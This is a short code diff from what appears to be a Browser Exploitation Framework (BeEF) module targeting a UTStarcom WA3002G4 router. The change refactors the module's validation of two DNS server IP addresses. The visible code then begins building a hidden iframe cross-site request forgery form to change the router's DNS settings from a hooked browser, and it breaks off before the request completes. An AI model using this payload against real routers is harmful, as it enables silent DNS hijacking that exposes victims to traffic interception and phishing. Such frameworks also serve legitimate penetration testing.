beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var utstarcom_wa3002G4_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [